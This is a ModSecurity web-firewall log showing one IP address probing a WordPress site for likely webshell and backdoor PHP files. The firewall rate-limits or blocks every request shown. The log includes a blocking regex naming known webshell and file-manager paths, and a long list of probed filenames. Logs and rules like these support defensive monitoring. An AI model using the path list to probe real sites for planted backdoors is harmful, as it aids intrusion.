[Wed Feb 25 03:01:46.559401 2026] [:error] [pid 26872:tid 26897] [client 20.216.146.160:34624] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aZ31mnxLbzvRGuzwKjkhGwAAAFc"]
[Wed Feb 25 03:01:48.152022 2026] [:error] [pid 18458:tid 18793] [client 20.216.146.160:39692] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aZ31nAuir-tBe4tUisml6AAAAoA"]
[Wed Feb 25 03:01:49.421052 2026] [:error] [pid 18850:tid 18864] [client 20.216.146.160:33868] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aZ31neDBmHucoAJRnqknkgAAAAw"]
[Wed Feb 25 03:01:56.657713 2026] [:error] [pid 18447:tid 18770] [client 20.216.146.160:34390] [client 20.216.146.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.216.146.160, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ31pM-TpHVc8yBj5ebGYwAAAgc"]
[Wed Feb 25 03:01:56.944611 2026] [:error] [pid 26872:tid 26879] [client 20.216.146.160:36765] [client 20.216.146.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.216.146.160, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/xmlrpc.php"] [unique_id "aZ31pHxLbzvRGuzwKjkhTQAAAEU"]
[Wed Feb 25 03:01:58.471091 2026] [:error] [pid 18447:tid 18783] [client 20.216.146.160:34390] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aZ31ps-TpHVc8yBj5ebGZwAAAhQ"]
[Wed Feb 25 03:01:59.840236 2026] [:error] [pid 18441:tid 18725] [client 20.216.146.160:11425] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aZ31pxYF1wpOnXIaHlOnvAAAANA"]
[Wed Feb 25 03:02:01.049367 2026] [:error] [pid 18447:tid 18778] [client 20.216.146.160:11722] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aZ31qc-TpHVc8yBj5ebGnAAAAg8"]
[Wed Feb 25 03:02:02.071054 2026] [:error] [pid 26872:tid 26888] [client 20.216.146.160:41497] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aZ31qnxLbzvRGuzwKjkhaAAAAE4"]
[Wed Feb 25 03:02:04.372664 2026] [:error] [pid 26872:tid 26883] [client 20.216.146.160:34983] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aZ31rHxLbzvRGuzwKjkhcAAAAEk"]
[Wed Feb 25 03:02:08.202871 2026] [:error] [pid 18447:tid 18784] [client 20.216.146.160:34968] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aZ31sM-TpHVc8yBj5ebGqAAAAhU"]
[Wed Feb 25 03:02:13.365491 2026] [:error] [pid 18850:tid 18857] [client 20.216.146.160:11005] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aZ31teDBmHucoAJRnqknpgAAAAU"]
[Wed Feb 25 03:02:15.624614 2026] [:error] [pid 26872:tid 26891] [client 20.216.146.160:35664] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aZ31t3xLbzvRGuzwKjkhigAAAFE"]
[Wed Feb 25 03:02:17.390710 2026] [:error] [pid 18850:tid 18852] [client 20.216.146.160:35659] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aZ31ueDBmHucoAJRnqknqgAAAAA"]
[Wed Feb 25 03:02:18.531960 2026] [:error] [pid 26872:tid 26891] [client 20.216.146.160:35688] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aZ31unxLbzvRGuzwKjkhlwAAAFE"]
[Wed Feb 25 03:02:19.856113 2026] [:error] [pid 18458:tid 18795] [client 20.216.146.160:30780] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aZ31uwuir-tBe4tUismmYwAAAoI"]
[Wed Feb 25 03:02:21.035885 2026] [:error] [pid 26872:tid 26884] [client 20.216.146.160:38946] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aZ31vXxLbzvRGuzwKjkhpAAAAEo"]
[Wed Feb 25 03:02:22.698851 2026] [:error] [pid 18441:tid 18717] [client 20.216.146.160:34949] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aZ31vhYF1wpOnXIaHlOn1gAAAMk"]
[Wed Feb 25 03:02:23.592103 2026] [:error] [pid 18850:tid 18855] [client 20.216.146.160:44231] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aZ31v-DBmHucoAJRnqkntAAAAAM"]
[Wed Feb 25 03:02:24.691603 2026] [:error] [pid 26872:tid 26892] [client 20.216.146.160:38271] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aZ31wHxLbzvRGuzwKjkhqgAAAFI"]
[Wed Feb 25 03:02:25.524160 2026] [:error] [pid 26872:tid 26877] [client 20.216.146.160:34960] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aZ31wXxLbzvRGuzwKjkhrQAAAEM"]
[Wed Feb 25 03:02:35.065087 2026] [:error] [pid 18447:tid 18776] [client 20.216.146.160:39687] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aZ31y8-TpHVc8yBj5ebGxQAAAg0"]
[Wed Feb 25 03:02:42.701594 2026] [:error] [pid 18458:tid 18814] [client 20.216.146.160:37198] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aZ310guir-tBe4tUismmbgAAApM"]
[Wed Feb 25 03:02:45.512475 2026] [:error] [pid 18441:tid 18718] [client 20.216.146.160:34991] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aZ311RYF1wpOnXIaHlOoBAAAAMo"]
[Wed Feb 25 03:02:46.665886 2026] [:error] [pid 18441:tid 18726] [client 20.216.146.160:34153] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aZ311hYF1wpOnXIaHlOoCgAAANE"]
[Wed Feb 25 03:02:48.212041 2026] [:error] [pid 18850:tid 18876] [client 20.216.146.160:40276] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aZ312ODBmHucoAJRnqknugAAABg"]
[Wed Feb 25 03:02:49.634802 2026] [:error] [pid 26872:tid 26891] [client 20.216.146.160:10931] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aZ312XxLbzvRGuzwKjkh5gAAAFE"]
[Wed Feb 25 03:02:50.717873 2026] [:error] [pid 26872:tid 26890] [client 20.216.146.160:34404] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aZ312nxLbzvRGuzwKjkh6gAAAFA"]
[Wed Feb 25 03:02:52.708857 2026] [:error] [pid 18447:tid 18778] [client 20.216.146.160:10921] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aZ313M-TpHVc8yBj5ebG3gAAAg8"]
[Wed Feb 25 03:02:55.456170 2026] [:error] [pid 26872:tid 26892] [client 20.216.146.160:41646] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aZ3133xLbzvRGuzwKjkh8gAAAFI"]
[Wed Feb 25 03:02:56.808842 2026] [:error] [pid 18850:tid 18853] [client 20.216.146.160:40292] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aZ314ODBmHucoAJRnqknwQAAAAE"]
[Wed Feb 25 03:02:57.522637 2026] [:error] [pid 18850:tid 18859] [client 20.216.146.160:32769] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aZ314eDBmHucoAJRnqknwwAAAAc"]
[Wed Feb 25 03:03:39.832127 2026] [:error] [pid 13286:tid 13309] [client 20.216.146.160:42794] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cbrfo.php"] [unique_id "aZ32CyU3io7izGW_QSeJ0wAAAJQ"]
[Wed Feb 25 03:03:40.910434 2026] [:error] [pid 13391:tid 13417] [client 20.216.146.160:38798] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cbrfo.php"] [unique_id "aZ32DEIwokrsisMuCDfQNwAAAZg"]
[Wed Feb 25 03:03:42.467546 2026] [:error] [pid 13391:tid 13394] [client 20.216.146.160:38806] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cbrfo.php"] [unique_id "aZ32DkIwokrsisMuCDfQPgAAAYE"]
[Wed Feb 25 03:03:50.563779 2026] [:error] [pid 13454:tid 13459] [client 20.216.146.160:41745] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cbrfo.php"] [unique_id "aZ32FudouHfevEW-I1rcMQAAAkM"]
[Wed Feb 25 03:03:51.537993 2026] [:error] [pid 18850:tid 18869] [client 20.216.146.160:10915] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aZ32F-DBmHucoAJRnqkoKAAAABE"]
[Wed Feb 25 03:03:52.868337 2026] [:error] [pid 13391:tid 13398] [client 20.216.146.160:37260] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aZ32GEIwokrsisMuCDfQUgAAAYU"]
[Wed Feb 25 03:03:54.200092 2026] [:error] [pid 13391:tid 13400] [client 20.216.146.160:41389] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aZ32GkIwokrsisMuCDfQVAAAAYc"]
[Wed Feb 25 03:03:55.430819 2026] [:error] [pid 13391:tid 13415] [client 20.216.146.160:30787] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aZ32G0IwokrsisMuCDfQVwAAAZY"]
[Wed Feb 25 03:03:56.386865 2026] [:error] [pid 13454:tid 13471] [client 20.216.146.160:44167] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aZ32HOdouHfevEW-I1rcNAAAAk8"]
[Wed Feb 25 03:03:56.997901 2026] [:error] [pid 13454:tid 13477] [client 20.216.146.160:42420] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aZ32HOdouHfevEW-I1rcNgAAAlU"]
[Wed Feb 25 03:03:57.739180 2026] [:error] [pid 13422:tid 13427] [client 20.216.146.160:42372] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aZ32HZk4EBEd_aiOeSs6fAAAAcI"]
[Wed Feb 25 03:03:58.571871 2026] [:error] [pid 13485:tid 13500] [client 20.216.146.160:41631] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aZ32HlMPrlPkHEXaBewuIAAAAs0"]
[Wed Feb 25 03:03:59.653244 2026] [:error] [pid 13485:tid 13489] [client 20.216.146.160:38788] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aZ32H1MPrlPkHEXaBewuIgAAAsI"]
[Wed Feb 25 03:04:00.386690 2026] [:error] [pid 13422:tid 13430] [client 20.216.146.160:11165] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aZ32IJk4EBEd_aiOeSs6hQAAAcU"]
[Wed Feb 25 03:04:01.348863 2026] [:error] [pid 13391:tid 13396] [client 20.216.146.160:11198] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aZ32IUIwokrsisMuCDfQXwAAAYM"]
[Wed Feb 25 03:04:02.083908 2026] [:error] [pid 13485:tid 13506] [client 20.216.146.160:38903] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aZ32IlMPrlPkHEXaBewuJgAAAtM"]
[Wed Feb 25 03:04:02.853032 2026] [:error] [pid 13516:tid 13533] [client 20.216.146.160:42471] [client 20.216.146.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aZ32IoDG2jLWmZEFGzVnkwAAAw8"]
[Wed Feb 25 03:04:04.559598 2026] [:error] [pid 13516:tid 13538] [client 20.216.146.160:11199] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aZ32JIDG2jLWmZEFGzVnlwAAAxQ"]
[Wed Feb 25 03:04:06.590050 2026] [:error] [pid 13422:tid 13432] [client 20.216.146.160:37010] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aZ32Jpk4EBEd_aiOeSs6jgAAAcc"]
[Wed Feb 25 03:04:08.383896 2026] [:error] [pid 13516:tid 13523] [client 20.216.146.160:38151] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aZ32KIDG2jLWmZEFGzVnoQAAAwU"]
[Wed Feb 25 03:04:09.214160 2026] [:error] [pid 18458:tid 18805] [client 20.216.146.160:42403] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aZ32KQuir-tBe4tUismmygAAAos"]
[Wed Feb 25 03:04:10.136916 2026] [:error] [pid 13544:tid 13560] [client 20.216.146.160:44209] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aZ32KkieBEkpCYpYuFgdFQAAA00"]
[Wed Feb 25 03:04:11.334550 2026] [:error] [pid 13574:tid 13599] [client 20.216.146.160:37055] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aZ32K51y3bdS8MFXvJ2-zQAAA5U"]
